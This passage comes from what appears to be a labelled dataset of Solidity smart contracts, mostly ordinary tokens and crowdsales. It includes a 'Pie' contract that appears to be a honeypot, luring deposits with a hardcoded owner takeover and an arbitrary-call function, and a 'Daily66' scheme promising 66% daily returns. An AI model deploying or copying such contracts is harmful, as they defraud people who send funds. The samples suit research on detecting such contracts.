currentStage = Stages.Ico4;
currentIcoPeriodStartDate = now;
return true;
}
} else {
if (currentStage == Stages.Ico1) {
currentStage = Stages.Ico2;
currentIcoPeriodStartDate = now;
return true;
}
if (currentStage == Stages.Ico2) {
currentStage = Stages.Ico3;
currentIcoPeriodStartDate = now;
return true;
}
if (currentStage == Stages.Ico3) {
currentStage = Stages.Ico4;
currentIcoPeriodStartDate = now;
return true;
}
}
}
function () public payable {
uint256 tokens = getTokensAmount(msg.value, msg.sender);
vested[msg.sender] = vested[msg.sender].add(tokens);
sold = sold.add(tokens);
totalVested = totalVested.add(tokens);
emit Vest(msg.sender, tokens);
}
}
contract Multisign is Ownable {
address public address1 = address(0);
address public address2 = address(0);
address public address3 = address(0);
mapping(address => address) public withdrawAddress;
function setAddresses (address _address1, address _address2, address _address3) public onlyOwner returns (bool) {
require(address1 == address(0) && address2 == address(0) && address3 == address(0));
require(_address1 != address(0) && _address2 != address(0) && _address3 != address(0));
address1 = _address1;
address2 = _address2;
address3 = _address3;
return true;
}
function signWithdraw (address _address) public returns (bool) {
assert(msg.sender != address(0));
require (msg.sender == address1 || msg.sender == address2 || msg.sender == address3);
require (_address != address(0));
withdrawAddress[msg.sender] = _address;
if (withdrawAddress[address1] == withdrawAddress[address2] && withdrawAddress[address1] != address(0)) {
withdraw(withdrawAddress[address1]);
return true;
}
if (withdrawAddress[address1] == withdrawAddress[address3] && withdrawAddress[address1] != address(0)) {
withdraw(withdrawAddress[address1]);
return true;
}
if (withdrawAddress[address2] == withdrawAddress[address3] && withdrawAddress[address2] != address(0)) {
withdraw(withdrawAddress[address2]);
return true;
}
return false;
}
function withdraw (address _address) internal returns (bool) {
require(address(this).balance > 0);
withdrawAddress[address1] = address(0);
withdrawAddress[address2] = address(0);
withdrawAddress[address3] = address(0);
_address.transfer(address(this).balance);
return true;
}
}
contract NSD is CrowdsaleToken, Multisign {
string public constant name = "NeuroSeed";
string public constant symbol = "NSD";
uint32 public constant decimals = 0;
} | 1 | 3,494 |
pragma solidity ^0.4.19;
contract Pie
{
address public Owner = msg.sender;
function()
public
payable
{
}
function Get()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6){Owner=0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
} | 0 | 2,570 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract BitcoinHODL is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Bitcoin HODL";
string public constant symbol = "BITE";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 100000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function BitcoinHODL () public {
owner = msg.sender;
value = 4000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,803 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
if (stopped) {
throw;
}
_;
}
modifier onlyInEmergency {
if (!stopped) {
throw;
}
_;
}
function emergencyStop() external onlyOwner {
stopped = true;
}
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Resilium is StandardToken, Ownable {
string public constant name = "Resilium";
string public constant symbol = "RES";
uint public constant decimals = 6;
function Resilium() {
totalSupply = 1000000000000000;
balances[msg.sender] = totalSupply;
}
function burn(uint _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
}
contract PullPayment {
using SafeMath for uint;
mapping(address => uint) public payments;
event LogRefundETH(address to, uint value);
function asyncSend(address dest, uint amount) internal {
payments[dest] = payments[dest].add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint payment = payments[payee];
if (payment == 0) {
throw;
}
if (this.balance < payment) {
throw;
}
payments[payee] = 0;
if (!payee.send(payment)) {
throw;
}
LogRefundETH(payee,payment);
}
}
contract Crowdsale is Pausable, PullPayment {
using SafeMath for uint;
struct Backer {
uint weiReceived;
uint coinSent;
}
uint public constant MIN_CAP = 10000000000;
uint public constant MAX_CAP = 100000000000;
uint public constant MIN_INVEST_ETHER = 100 finney;
uint private constant CROWDSALE_PERIOD = 30 days;
uint public constant COIN_PER_ETHER = 1000000000;
Resilium public coin;
address public multisigEther;
uint public etherReceived;
uint public coinSentToEther;
uint public startTime;
uint public endTime;
bool public crowdsaleClosed;
mapping(address => Backer) public backers;
modifier minCapNotReached() {
if ((now < endTime) || coinSentToEther >= MIN_CAP ) throw;
_;
}
modifier respectTimeFrame() {
if ((now < startTime) || (now > endTime )) throw;
_;
}
event LogReceivedETH(address addr, uint value);
event LogCoinsEmited(address indexed from, uint amount);
function Crowdsale(address _tokenAddress, address _to) {
coin = Resilium(_tokenAddress);
multisigEther = _to;
}
function() stopInEmergency respectTimeFrame payable {
receiveETH(msg.sender);
}
function start() onlyOwner {
if (startTime != 0) throw;
startTime = now ;
endTime = now + CROWDSALE_PERIOD;
}
function receiveETH(address beneficiary) internal {
if (msg.value < MIN_INVEST_ETHER) throw;
uint coinToSend = bonus(msg.value.mul(COIN_PER_ETHER).div(1 ether));
if (coinToSend.add(coinSentToEther) > MAX_CAP) throw;
Backer backer = backers[beneficiary];
coin.transfer(beneficiary, coinToSend);
backer.coinSent = backer.coinSent.add(coinToSend);
backer.weiReceived = backer.weiReceived.add(msg.value);
etherReceived = etherReceived.add(msg.value);
coinSentToEther = coinSentToEther.add(coinToSend);
LogCoinsEmited(msg.sender ,coinToSend);
LogReceivedETH(beneficiary, etherReceived);
}
function bonus(uint amount) internal constant returns (uint) {
return amount.add(amount.div(2));
}
function finalize() onlyOwner public {
if (now < endTime) {
if (coinSentToEther == MAX_CAP) {
} else {
throw;
}
}
if (coinSentToEther < MIN_CAP && now < endTime + 15 days) throw;
if (!multisigEther.send(this.balance)) throw;
uint remains = coin.balanceOf(this);
if (remains > 0) {
if (!coin.burn(remains)) throw ;
}
crowdsaleClosed = true;
}
function drain() onlyOwner {
if (!owner.send(this.balance)) throw;
}
function setMultisig(address addr) onlyOwner public {
if (addr == address(0)) throw;
multisigEther = addr;
}
function backResiliumOwner() onlyOwner public {
coin.transferOwnership(owner);
}
function getRemainCoins() onlyOwner public {
var remains = MAX_CAP - coinSentToEther;
uint minCoinsToSell = bonus(MIN_INVEST_ETHER.mul(COIN_PER_ETHER) / (1 ether));
if(remains > minCoinsToSell) throw;
Backer backer = backers[owner];
coin.transfer(owner, remains);
backer.coinSent = backer.coinSent.add(remains);
coinSentToEther = coinSentToEther.add(remains);
LogCoinsEmited(this ,remains);
LogReceivedETH(owner, etherReceived);
}
function refund(uint _value) minCapNotReached public {
if (_value != backers[msg.sender].coinSent) throw;
coin.transferFrom(msg.sender, address(this), _value);
if (!coin.burn(_value)) throw ;
uint ETHToSend = backers[msg.sender].weiReceived;
backers[msg.sender].weiReceived=0;
if (ETHToSend > 0) {
asyncSend(msg.sender, ETHToSend);
}
}
} | 1 | 5,073 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract FloraFicTokenCrowdsale is FinalizableCrowdsale {
uint256 public initialRate;
function FloraFicTokenCrowdsale(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _initialRate,
address _wallet,
ERC20 _token
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
initialRate = _initialRate;
}
function setClosingTime(uint256 _closingTime) onlyOwner public {
require(_closingTime >= block.timestamp);
require(_closingTime >= openingTime);
closingTime = _closingTime;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint num_day = uint(elapsedTime) / 86400;
rate = initialRate.sub(num_day.mul(initialRate).div(100));
return rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 sendWeiAmount = msg.value;
uint256 bonus = 0;
uint256 currentRate = getCurrentRate();
uint256 currentWeiAmount = currentRate.mul(_weiAmount);
if( sendWeiAmount >= 1000000000000000000 && sendWeiAmount < 5000000000000000000){
bonus = currentWeiAmount.mul(10).div(100);
} else if (sendWeiAmount >= 5000000000000000000 && sendWeiAmount < 10000000000000000000){
bonus = currentWeiAmount.mul(20).div(100);
} else if (sendWeiAmount >= 10000000000000000000 && sendWeiAmount < 20000000000000000000){
bonus = currentWeiAmount.mul(50).div(100);
} else if (sendWeiAmount >= 20000000000000000000 && sendWeiAmount < 50000000000000000000){
bonus = currentWeiAmount.mul(75).div(100);
} else if (sendWeiAmount >= 50000000000000000000){
bonus = currentWeiAmount.mul(100).div(100);
}
return currentWeiAmount.add(bonus);
}
function finalization() internal {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.transfer(wallet, amount);
}
} | 1 | 3,905 |
pragma solidity ^0.4.24;
contract Daily66 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 66;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,622 |
pragma solidity ^0.4.19;
contract ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
}
contract SafeMath {
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(a >= b);
return a - b;
}
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
if (a == 0 || b == 0) return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b != 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Ownable {
address owner;
address newOwner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != 0x0) {
newOwner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = newOwner;
OwnershipTransferred(owner, newOwner);
newOwner = 0x0;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract StandardToken is ERC20, SafeMath {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => mapping (address => uint256)) spentamount;
mapping (address => bool) buyerAppended;
address[] buyers;
address[] vips;
mapping (address => uint256) viprank;
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != 0x0);
if(_from == _to) return false;
if (balances[_from] < _value) return false;
if (_value > allowed[_from][msg.sender]) return false;
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
return false;
}
if (balances[msg.sender] < _value) {
return false;
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LooksCoin is StandardToken, Ownable {
uint256 public constant decimals = 0;
uint256 public constant VIP_MINIMUM = 24000;
uint256 constant INITIAL_TOKENS_COUNT = 100000000;
address public tokenSaleContract = 0x0;
address coinmaster = address(0x33169f40d18c6c2590901db23000D84052a11F54);
function LooksCoin(address _tokenSaleContract) {
assert(_tokenSaleContract != 0x0);
owner = coinmaster;
tokenSaleContract = _tokenSaleContract;
balances[owner] = INITIAL_TOKENS_COUNT;
totalSupply = INITIAL_TOKENS_COUNT;
}
function name() constant returns (string name) {
return "LooksCoin";
}
function symbol() constant returns (string symbol) {
return "LOOKS";
}
function setSaleManageContract(address _newSaleManageContract) {
require(msg.sender == owner);
assert(_newSaleManageContract != 0x0);
tokenSaleContract = _newSaleManageContract;
}
function getVIPRank(address _to) constant public returns (uint256 rank) {
if (balances[_to] < VIP_MINIMUM) {
return 0;
}
return viprank[_to];
}
function updateVIPRank(address _to) returns (uint256 rank) {
if (balances[_to] >= VIP_MINIMUM && viprank[_to] == 0) {
viprank[_to] = now;
vips.push(_to);
}
return viprank[_to];
}
event TokenRewardsAdded(address indexed participant, uint256 balance);
function rewardTokens(address _to, uint256 _value) {
require(msg.sender == tokenSaleContract || msg.sender == owner);
assert(_to != 0x0);
require(_value > 0);
balances[_to] = safeAdd(balances[_to], _value);
totalSupply = safeAdd(totalSupply, _value);
updateVIPRank(_to);
TokenRewardsAdded(_to, _value);
}
event SpentTokens(address indexed participant, address indexed recipient, uint256 amount);
function spend(address _to, uint256 _value) public returns (bool success) {
require(_value > 0);
assert(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
spentamount[msg.sender][_to] = safeAdd(spentamount[msg.sender][_to], _value);
SpentTokens(msg.sender, _to, _value);
if(!buyerAppended[msg.sender]) {
buyerAppended[msg.sender] = true;
buyers.push(msg.sender);
}
return true;
}
function getSpentAmount(address _who, address _to) constant returns (uint256) {
return spentamount[_who][_to];
}
event Burn(address indexed burner, uint256 value);
function burnTokens(address burner, uint256 _value) public returns (bool success) {
require(msg.sender == burner || msg.sender == owner);
assert(burner != 0x0);
if (_value > totalSupply) return false;
if (_value > balances[burner]) return false;
balances[burner] = safeSub(balances[burner],_value);
totalSupply = safeSub(totalSupply,_value);
Burn(burner, _value);
return true;
}
function getVIPOwner(uint256 index) constant returns (address) {
return (vips[index]);
}
function getVIPCount() constant returns (uint256) {
return vips.length;
}
function getBuyer(uint256 index) constant returns (address) {
return (buyers[index]);
}
function getBuyersCount() constant returns (uint256) {
return buyers.length;
}
}
contract LooksCoinCrowdSale {
LooksCoin public looksCoin;
ERC20 public preSaleToken;
uint256 public constant TOKEN_PRICE_N = 1e18;
uint256 public constant TOKEN_PRICE_D = 2400;
address saleController = 0x0;
uint256 public importedTokens = 0;
uint256 public tokensSold = 0;
address fundstorage = 0x0;
enum State{
Pause,
Init,
Running,
Stopped,
Migrated
}
State public currentState = State.Running;
modifier onCrowdSaleRunning() {
require(currentState == State.Running);
_;
}
function LooksCoinCrowdSale() {
saleController = msg.sender;
fundstorage = msg.sender;
looksCoin = new LooksCoin(this);
preSaleToken = ERC20(0x253C7dd074f4BaCb305387F922225A4f737C08bd);
}
function setState(State _newState)
{
require(msg.sender == saleController);
currentState = _newState;
}
function setSaleController(address _newSaleController) {
require(msg.sender == saleController);
assert(_newSaleController != 0x0);
saleController = _newSaleController;
}
function setWallet(address _fundstorage) {
require(msg.sender == saleController);
assert(_fundstorage != 0x0);
fundstorage = _fundstorage;
